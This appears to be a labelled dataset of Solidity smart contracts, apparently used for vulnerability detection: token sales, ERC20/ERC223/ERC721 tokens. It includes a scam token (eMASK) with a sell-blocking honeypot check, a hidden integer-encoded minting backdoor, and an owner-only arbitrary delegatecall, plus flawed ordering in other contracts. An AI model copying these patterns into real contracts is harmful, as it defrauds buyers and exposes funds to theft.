function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract ITVCoupon {
}
contract ITVCrowdsale {
uint256 public currentRate;
function buyTokens(address _beneficiary) public payable;
}
contract ITVToken {
function transfer(address _to, uint256 _value) public returns (bool);
function safeTransfer(address _to, uint256 _value, bytes _data) public;
}
contract TVPremium is Ownable, ERC721Token {
uint public discountPercentage;
uint public price;
address public manager;
address public TVCouponAddress;
address public wallet;
address public TVTokenAddress;
address public TVCrowdsaleAddress;
bytes4 constant TOKEN_RECEIVED = bytes4(keccak256("onTokenReceived(address,uint256,bytes)"));
uint internal incrementId = 0;
address internal checkAndBuySender;
mapping(uint => bool) public usedCoupons;
modifier onlyOwnerOrManager() {
require(msg.sender == owner || manager == msg.sender);
_;
}
event TokenReceived(address from, uint value, bytes data, uint couponId);
event ChangeAndBuyPremium(address buyer, uint rate, uint price, uint couponId);
constructor(
address _TVTokenAddress,
address _TVCrowdsaleAddress,
address _TVCouponAddress,
address _manager,
uint _discountPercentage,
address _wallet
) public ERC721Token("TVPremium Token", "TVP") {
TVCouponAddress = _TVCouponAddress;
manager = _manager;
discountPercentage = _discountPercentage;
TVCrowdsaleAddress = _TVCrowdsaleAddress;
TVTokenAddress = _TVTokenAddress;
wallet = _wallet;
}
function mint(address to) public onlyOwnerOrManager {
incrementId++;
super._mint(to, incrementId);
}
function onTokenReceived(address _from, uint256 _value, bytes _data) public returns (bytes4) {
require(msg.sender == TVTokenAddress);
uint couponId = uint256(convertBytesToBytes32(_data));
uint premiumPrice = couponId == 0 ? price : price - (price * discountPercentage) / 100;
require(premiumPrice == _value);
if (couponId > 0) {
require(!usedCoupons[couponId]);
usedCoupons[couponId] = true;
}
ITVToken(TVTokenAddress).transfer(wallet, _value);
_from = this == _from ? checkAndBuySender : _from;
checkAndBuySender = address(0);
incrementId++;
super._mint(_from, incrementId);
emit TokenReceived(_from, _value, _data, couponId);
return TOKEN_RECEIVED;
}
function changeAndBuyPremium(uint couponId) public payable {
uint rate = ITVCrowdsale(TVCrowdsaleAddress).currentRate();
uint premiumPrice = couponId == 0 ? price : price - (price * discountPercentage) / 100;
uint priceWei = premiumPrice / rate;
require(priceWei == msg.value);
ITVCrowdsale(TVCrowdsaleAddress).buyTokens.value(msg.value)(this);
bytes memory data = toBytes(couponId);
checkAndBuySender = msg.sender;
ITVToken(TVTokenAddress).safeTransfer(this, premiumPrice, data);
emit ChangeAndBuyPremium(msg.sender, rate, priceWei, couponId);
}
function getDiscountPrice() public view returns(uint) {
return price - (price * discountPercentage) / 100;
}
function changePrice(uint _price) public onlyOwnerOrManager {
price = _price;
}
function changeTVCouponAddress(address _address) public onlyOwnerOrManager {
TVCouponAddress = _address;
}
function changeDiscountPercentage(uint percentage) public onlyOwnerOrManager {
require(discountPercentage <= 100);
discountPercentage = percentage;
}
function changeWallet(address _wallet) public onlyOwnerOrManager {
wallet = _wallet;
}
function changeTVTokenAddress(address newAddress) public onlyOwnerOrManager {
TVTokenAddress = newAddress;
}
function changeTVCrowdsaleAddress(address newAddress) public onlyOwnerOrManager {
TVCrowdsaleAddress = newAddress;
}
function setManager(address _manager) public onlyOwner {
manager = _manager;
}
function convertBytesToBytes32(bytes inBytes) internal pure returns (bytes32 out) {
if (inBytes.length == 0) {
return 0x0;
}
assembly {
out := mload(add(inBytes, 32))
}
}
function toBytes(uint256 x) internal pure returns (bytes b) {
b = new bytes(32);
assembly {mstore(add(b, 32), x)}
}
} | 1 | 3,258 |
pragma solidity ^0.4.8;
library SMSLIB {
function safeDiv(uint a, uint b) pure internal returns(uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
}
contract ERC20 {
function totalSupply() public constant returns(uint256 _totalSupply);
function balanceOf(address who) public constant returns(uint256 balance);
function transfer(address to, uint value) public returns(bool success);
function transferFrom(address from, address to, uint value) public returns(bool success);
function approve(address spender, uint value) public returns(bool success);
function allowance(address owner, address spender) public constant returns(uint remaining);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SMSCoin is ERC20 {
string public constant name = "Speed Mining Service";
string public constant symbol = "SMS";
uint256 public constant decimals = 3;
uint256 public constant UNIT = 10 ** decimals;
uint public totalSupply = 0;
uint tokenSaleLot1 = 150000 * UNIT;
uint reservedBonusLot1 = 45000 * UNIT;
uint tokenSaleLot3X = 50000 * UNIT;
struct BonusStruct {
uint8 ratio1;
uint8 ratio2;
uint8 ratio3;
uint8 ratio4;
}
BonusStruct bonusRatio;
uint public saleCounterThisPhase = 0;
uint public limitedSale = 0;
uint public sentBonus = 0;
uint public soldToken = 0;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address[] addresses;
address[] investorAddresses;
mapping(address => address) private userStructs;
address owner;
address mint = address(this);
address genesis = 0x0;
uint256 public tokenPrice = 0.8 ether;
uint256 public firstMembershipPurchase = 0.16 ether;
event Log(uint e);
event Message(string msg);
event TOKEN(string e);
bool icoOnSale = false;
bool icoOnPaused = false;
bool spPhase = false;
uint256 startDate;
uint256 endDate;
uint currentPhase = 0;
bool needToDrain = false;
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function SMSCoin() public {
owner = msg.sender;
}
function setBonus(uint8 ratio1, uint8 ratio2, uint8 ratio3, uint8 ratio4) private {
bonusRatio.ratio1 = ratio1;
bonusRatio.ratio2 = ratio2;
bonusRatio.ratio3 = ratio3;
bonusRatio.ratio4 = ratio4;
}
function calcBonus(uint256 sendingSMSToken) view private returns(uint256) {
if (sendingSMSToken < (10 * UNIT)) {
return (sendingSMSToken * bonusRatio.ratio1) / 100;
} else if (sendingSMSToken < (50 * UNIT)) {
return (sendingSMSToken * bonusRatio.ratio2) / 100;
} else if (sendingSMSToken < (100 * UNIT)) {
return (sendingSMSToken * bonusRatio.ratio3) / 100;
} else {
return (sendingSMSToken * bonusRatio.ratio4) / 100;
}
}
function () public payable {
uint256 receivedETH = 0;
uint256 receivedETHUNIT = 0;
uint256 sendingSMSToken = 0;
uint256 sendingSMSBonus = 0;
Log(msg.value);
if (icoOnSale && !icoOnPaused && msg.sender != owner) {
if (now <= endDate) {
Log(currentPhase);
receivedETH = msg.value;
if ((checkAddress(msg.sender) && checkMinBalance(msg.sender)) || firstMembershipPurchase <= receivedETH) {
receivedETHUNIT = receivedETH * UNIT;
sendingSMSToken = SMSLIB.safeDiv(receivedETHUNIT, tokenPrice);
Log(sendingSMSToken);
if (currentPhase == 1 || currentPhase == 2 || currentPhase == 3) {
sendingSMSBonus = calcBonus(sendingSMSToken);
Log(sendingSMSBonus);
}
Log(sendingSMSToken);
if (!transferTokens(msg.sender, sendingSMSToken, sendingSMSBonus))
revert();
} else {
revert();
}
} else {
revert();
}
} else {
revert();
}
}
function start1BonusPeriod1() external onlyOwner {
require(currentPhase == 0);
balances[owner] = tokenSaleLot1;
balances[address(this)] = tokenSaleLot1;
totalSupply = balances[owner] + balances[address(this)];
saleCounterThisPhase = 0;
limitedSale = tokenSaleLot1;
addAddress(owner);
Transfer(address(this), owner, balances[owner]);
needToDrain = true;
icoOnSale = true;
icoOnPaused = false;
spPhase = false;
currentPhase = 1;
startDate = block.timestamp;
endDate = startDate + 2 days + 9 hours + 59 minutes + 59 seconds;
setBonus(5, 10, 20, 30);
}
function start2BonusPeriod2() external onlyOwner {
icoOnSale = true;
icoOnPaused = false;
spPhase = false;
currentPhase = 2;
startDate = block.timestamp;
endDate = startDate + 11 days + 9 hours + 59 minutes + 59 seconds;
setBonus(3, 5, 10, 15);
}
function start3BonusPeriod3() external onlyOwner {
icoOnSale = true;
icoOnPaused = false;
spPhase = false;
currentPhase = 3;
startDate = block.timestamp;
endDate = startDate + 50 days + 5 hours + 14 minutes + 59 seconds;
setBonus(1, 3, 5, 8);
}
function start4NormalPeriod() external onlyOwner {
icoOnSale = true;
icoOnPaused = false;
spPhase = false;
currentPhase = 4;
startDate = block.timestamp;
endDate = startDate + 31 days;
setBonus(0, 0, 0, 0);
}
function start3XPhase() external onlyOwner {
require(currentPhase == 4 || currentPhase == 5);
require(!needToDrain);
balances[address(this)] = tokenSaleLot3X;
totalSupply = 3 * totalSupply;
totalSupply += balances[address(this)];
saleCounterThisPhase = 0;
limitedSale = tokenSaleLot3X;
x3Token();
Transfer(mint, address(this), balances[address(this)]);
needToDrain = true;
icoOnSale = true;
icoOnPaused = false;
spPhase = false;
currentPhase = 5;
startDate = block.timestamp;
endDate = startDate + 7 days;
}
function startManualPeriod(uint _saleToken) external onlyOwner {
require(balances[owner] >= _saleToken);
require(!needToDrain);
balances[owner] -= _saleToken;
balances[address(this)] += _saleToken;
saleCounterThisPhase = 0;
limitedSale = _saleToken;
Transfer(owner, address(this), _saleToken);
needToDrain = true;
icoOnSale = true;
icoOnPaused = false;
spPhase = true;
startDate = block.timestamp;
endDate = startDate + 7 days;
}
function x3Token() private {
for (uint i = 0; i < addresses.length; i++) {
uint curr1XBalance = balances[addresses[i]];
balances[addresses[i]] = 3 * curr1XBalance;
Transfer(mint, addresses[i], 2 * curr1XBalance);
sentBonus += (2 * curr1XBalance);
}
}
function endPhase() external onlyOwner {
icoOnSale = false;
icoOnPaused = true;
}
function pausePhase() external onlyOwner {
icoOnPaused = true;
}
function resumePhase() external onlyOwner {
icoOnSale = true;
icoOnPaused = false;
}
function extend1Week() external onlyOwner {
endDate += 7 days;
}
function totalSupply() public constant returns(uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address sender) public constant returns(uint256 balance) {
return balances[sender];
}
function soldToken() public constant returns(uint256 _soldToken) {
return soldToken;
}
function sentBonus() public constant returns(uint256 _sentBonus) {
return sentBonus;
}
function saleCounterThisPhase() public constant returns(uint256 _saleCounter) {
return saleCounterThisPhase;
}
function setTokenPrice(uint ethRate) external onlyOwner {
tokenPrice = (ethRate * 10 ** 18) / 10000;
}
function setMembershipPrice(uint ethRate) external onlyOwner {
firstMembershipPurchase = (ethRate * 10 ** 18) / 10000;
}
function transfer(address _to, uint256 _amount) public returns(bool success) {
if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
addAddress(_to);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) public returns(bool success) {
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) public returns(bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transferTokens(address _to, uint256 _amount, uint256 _bonus) private returns(bool success) {
if (_amount > 0 && balances[address(this)] >= _amount && balances[address(this)] - _amount >= 0 && soldToken + _amount > soldToken && saleCounterThisPhase + _amount <= limitedSale && balances[_to] + _amount > balances[_to]) {
balances[address(this)] -= _amount;
soldToken += _amount;
saleCounterThisPhase += _amount;
balances[_to] += _amount;
Transfer(address(this), _to, _amount);
if (currentPhase <= 3 && _bonus > 0 && balances[owner] - _bonus >= 0 && sentBonus + _bonus > sentBonus && sentBonus + _bonus <= reservedBonusLot1 && balances[_to] + _bonus > balances[_to]) {
balances[owner] -= _bonus;
sentBonus += _bonus;
balances[_to] += _bonus;
Transfer(owner, _to, _bonus);
}
addAddress(_to);
return true;
} else {
return false;
}
}
function giveAways(address _to, uint256 _amount, uint256 _bonus) external onlyOwner {
if (!transferTokens(_to, _amount, _bonus))
revert();
}
function giveReward(uint256 _amount) external onlyOwner {
require(balances[owner] >= _amount);
uint totalInvestorHand = 0;
for (uint idx = 0; idx < investorAddresses.length; idx++) {
if (checkMinBalance(investorAddresses[idx]))
totalInvestorHand += balances[investorAddresses[idx]];
}
uint valuePerToken = _amount * UNIT / totalInvestorHand;
for (idx = 0; idx < investorAddresses.length; idx++) {
if (checkMinBalance(investorAddresses[idx])) {
uint bonusForThisInvestor = balances[investorAddresses[idx]] * valuePerToken / UNIT;
sentBonus += bonusForThisInvestor;
balances[owner] -= bonusForThisInvestor;
balances[investorAddresses[idx]] += bonusForThisInvestor;
Transfer(owner, investorAddresses[idx], bonusForThisInvestor);
}
}
}
function checkAddress(address _addr) public constant returns(bool exist) {
return userStructs[_addr] == _addr;
}
function checkMinBalance(address _addr) public constant returns(bool enough) {
return balances[_addr] >= (firstMembershipPurchase * 10000 / tokenPrice * UNIT / 10000);
}
function addAddress(address _to) private {
if (addresses.length > 0) {
if (userStructs[_to] != _to) {
userStructs[_to] = _to;
addresses.push(_to);
if (_to != address(this) && _to != owner)
investorAddresses.push(_to);
}
} else {
userStructs[_to] = _to;
addresses.push(_to);
if (_to != address(this) && _to != owner)
investorAddresses.push(_to);
}
}
function drainETH() external onlyOwner {
owner.transfer(this.balance);
}
function drainSMS() external onlyOwner {
require(!icoOnSale);
if (currentPhase >= 4 || spPhase) {
if (balances[address(this)] > 0) {
balances[owner] += balances[address(this)];
Transfer(address(this), owner, balances[address(this)]);
balances[address(this)] = 0;
needToDrain = false;
}
}
}
function hardBurnSMS(address _from, uint _amount) external onlyOwner {
if (balances[_from] > 0) {
balances[_from] -= _amount;
totalSupply -= _amount;
Transfer(_from, genesis, _amount);
}
}
function getAddress(uint i) public constant returns(address) {
return addresses[i];
}
function getAddressSize() public constant returns(uint) {
return addresses.length;
}
} | 0 | 10 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract eMASK {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,804 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ERC223 {
function transfer(address to, uint value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract AliciaToken is ERC20, ERC223 {
using SafeMath for uint;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function AliciaToken(string name, string symbol, uint8 decimals, uint256 totalSupply) public {
_symbol = symbol;
_name = name;
_decimals = decimals;
_totalSupply = totalSupply;
balances[msg.sender] = totalSupply;
}
function name()
public
view
returns (string) {
return _name;
}
function symbol()
public
view
returns (string) {
return _symbol;
}
function decimals()
public
view
returns (uint8) {
return _decimals;
}
function totalSupply()
public
view
returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data) public {
require(_value > 0 );
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
}
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
} | 1 | 2,116 |
pragma solidity ^0.4.20;
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract ERC721 is ERC165 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721TokenReceiver {
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
interface ERC721Metadata {
function name() external pure returns (string _name);
function symbol() external pure returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
}
interface ERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
contract AccessAdmin {
bool public isPaused = false;
address public addrAdmin;
event AdminTransferred(address indexed preAdmin, address indexed newAdmin);
function AccessAdmin() public {
addrAdmin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == addrAdmin);
_;
}
modifier whenNotPaused() {
require(!isPaused);
_;
}
modifier whenPaused {
require(isPaused);
_;
}
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
AdminTransferred(addrAdmin, _newAdmin);
addrAdmin = _newAdmin;
}
function doPause() external onlyAdmin whenNotPaused {
isPaused = true;
}
function doUnpause() external onlyAdmin whenPaused {
isPaused = false;
}
}
contract AccessService is AccessAdmin {
address public addrService;
address public addrFinance;
modifier onlyService() {
require(msg.sender == addrService);
_;
}
modifier onlyFinance() {
require(msg.sender == addrFinance);
_;
}
function setService(address _newService) external {
require(msg.sender == addrService || msg.sender == addrAdmin);
require(_newService != address(0));
addrService = _newService;
}
function setFinance(address _newFinance) external {
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_newFinance != address(0));
addrFinance = _newFinance;
}
function withdraw(address _target, uint256 _amount)
external
{
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_amount > 0);
address receiver = _target == address(0) ? addrFinance : _target;
uint256 balance = this.balance;
if (_amount < balance) {
receiver.transfer(_amount);
} else {
receiver.transfer(this.balance);
}
}
}
contract WarToken is ERC721, AccessAdmin {
struct Fashion {
uint16 protoId;
uint16 quality;
